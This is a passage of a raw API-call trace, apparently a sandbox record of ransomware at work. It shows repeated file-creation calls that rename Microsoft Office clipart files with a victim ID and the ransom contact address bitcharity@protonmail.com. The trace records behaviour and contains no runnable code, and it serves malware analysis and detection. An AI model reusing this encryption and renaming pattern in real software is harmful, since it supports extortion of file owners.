hTemplateFile=0x0) returned 0xffffffff [0246.349] CloseHandle (hObject=0x11cc) returned 1 [0246.349] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.349] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.350] CloseHandle (hObject=0x11cc) returned 1 [0246.350] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.351] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.351] CloseHandle (hObject=0x11cc) returned 1 [0246.353] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.353] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.353] CloseHandle (hObject=0x11cc) returned 1 [0246.355] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.355] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.355] CloseHandle (hObject=0x11cc) returned 1 [0246.356] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.356] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.356] CloseHandle (hObject=0x11cc) returned 1 [0246.357] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.357] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.357] CloseHandle (hObject=0x11cc) returned 1 [0246.358] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.358] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.359] CloseHandle (hObject=0x11cc) returned 1 [0246.360] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.360] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.360] CloseHandle (hObject=0x11cc) returned 1 [0246.361] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.361] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.361] CloseHandle (hObject=0x11cc) returned 1 [0246.362] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.362] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.362] CloseHandle (hObject=0x11cc) returned 1 [0246.363] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.363] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.363] CloseHandle (hObject=0x11cc) returned 1 [0246.364] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.364] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.364] CloseHandle (hObject=0x11cc) returned 1 [0246.365] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.365] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.365] CloseHandle (hObject=0x11cc) returned 1 [0246.366] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.366] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.367] CloseHandle (hObject=0x11cc) returned 1 [0246.368] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.368] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.368] CloseHandle (hObject=0x11cc) returned 1 [0246.369] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.369] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.369] CloseHandle (hObject=0x11cc) returned 1 [0246.370] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.370] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.370] CloseHandle (hObject=0x11cc) returned 1 [0246.371] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.371] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.372] CloseHandle (hObject=0x11cc) returned 1 [0246.373] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.373] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.373] CloseHandle (hObject=0x11cc) returned 1 [0246.374] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.374] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.374] CloseHandle (hObject=0x11cc) returned 1 [0246.375] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.375] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.375] CloseHandle (hObject=0x11cc) returned 1 [0246.376] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.376] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.376] CloseHandle (hObject=0x11cc) returned 1 [0246.660] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.661] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.661] CloseHandle (hObject=0x11f0) returned 1 [0246.662] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.662] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.662] CloseHandle (hObject=0x11f0) returned 1 [0246.664] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.664] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.664] CloseHandle (hObject=0x11f0) returned 1 [0246.665] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.665] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.665] CloseHandle (hObject=0x11f0) returned 1 [0246.666] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.666] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.666] CloseHandle (hObject=0x11f0) returned 1 [0246.667] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.667] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.668] CloseHandle (hObject=0x11f0) returned 1 [0246.669] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.669] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.669] CloseHandle (hObject=0x11f0) returned 1 [0246.670] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.670] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.671] CloseHandle (hObject=0x11f0) returned 1 [0246.671] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.672] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.672] CloseHandle (hObject=0x11f0) returned 1 [0246.673] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.673] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.673] CloseHandle (hObject=0x11f0) returned 1 [0246.674] SetFilePointerEx (in: hFile=0x11f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 